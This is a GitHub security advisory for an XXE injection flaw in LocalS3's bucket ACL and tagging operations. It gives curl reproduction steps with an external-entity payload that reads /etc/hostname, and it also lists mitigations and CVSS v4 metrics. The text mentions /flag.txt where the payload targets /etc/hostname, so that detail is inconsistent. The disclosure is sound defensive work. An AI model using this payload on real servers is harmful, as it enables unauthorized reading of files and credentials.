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LocalS3 Project Bucket Operations Vulnerable to XML External Entity (XXE) Injection

Moderate severity GitHub Reviewed Published Mar 9, 2025 in Robothy/local-s3 • Updated Mar 10, 2025

Package

maven io.github.robothy:local-s3-rest (Maven)

Affected versions

< 1.21

Patched versions

1.21

Description

Description

The LocalS3 project contains an XML External Entity (XXE) Injection vulnerability in its bucket operations that process XML data. Specifically, the vulnerability exists in the bucket ACL and bucket tagging operations. The application processes XML input without properly disabling external entity resolution, allowing an attacker to read arbitrary files from the server's filesystem.

The vulnerability occurs because the XML parser used by the application processes DOCTYPE declarations and allows external entity references. When processing bucket ACL or tagging operations, the application includes the content of external entities in its response, effectively exposing sensitive files from the server.

This type of vulnerability can be exploited to read sensitive files, perform server-side request forgery (SSRF), or potentially achieve denial of service through various XXE attack vectors.

Steps to Reproduce

  1. Create a test bucket using PUT request to http://[server]/[bucket-name]

    curl -X PUT "http://app/xxe-test-bucket2"```

  2. Send a PUT request to http://[server]/[bucket-name]?acl with the following XXE payload:

    curl -X PUT "http://app/xxe-test-bucket2?acl" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE AccessControlPolicy [
    <!ENTITY xxe SYSTEM "file:///etc/hostname" >
]>
<AccessControlPolicy>
    <Owner>
        <ID>&xxe;</ID>
        <DisplayName>test</DisplayName>
    </Owner>
    <AccessControlList>
        <Grant>
            <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="CanonicalUser">
                <ID>test</ID>
                <DisplayName>test</DisplayName>
            </Grantee>
            <Permission>FULL_CONTROL</Permission>
        </Grant>
    </AccessControlList>
</AccessControlPolicy>'

  3. Send a GET request to http://[server]/[bucket-name]?acl to retrieve the bucket ACL

    curl "http://app/xxe-test-bucket2?acl"

After performing these steps, the content of the target file (/flag.txt in this case) will be included in the response within the ID field of the Owner element.

Mitigations

  • Configure the XML parser to disable external entity resolution by setting XMLConstants.FEATURE_SECURE_PROCESSING to true
  • Disable DOCTYPE declarations in the XML parser configuration
  • Implement XML input validation and sanitization before processing
  • Consider using JSON instead of XML for these operations if XML parsing is not strictly necessary

Impact

The vulnerability requires no authentication and can be exploited by any user who can make HTTP requests to the server. It allows reading arbitrary files from the server's filesystem, which could expose sensitive configuration files, credentials, or other confidential information. The vulnerability can also be used to perform SSRF attacks against internal systems.

References

@Robothy Robothy published to Robothy/local-s3 Mar 9, 2025
Published to the GitHub Advisory Database Mar 10, 2025
Reviewed Mar 10, 2025
Last updated Mar 10, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability Low
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N

EPSS score

Weaknesses

CVE ID

No known CVE

GHSA ID

GHSA-2466-4485-4pxj

Source code

Credits

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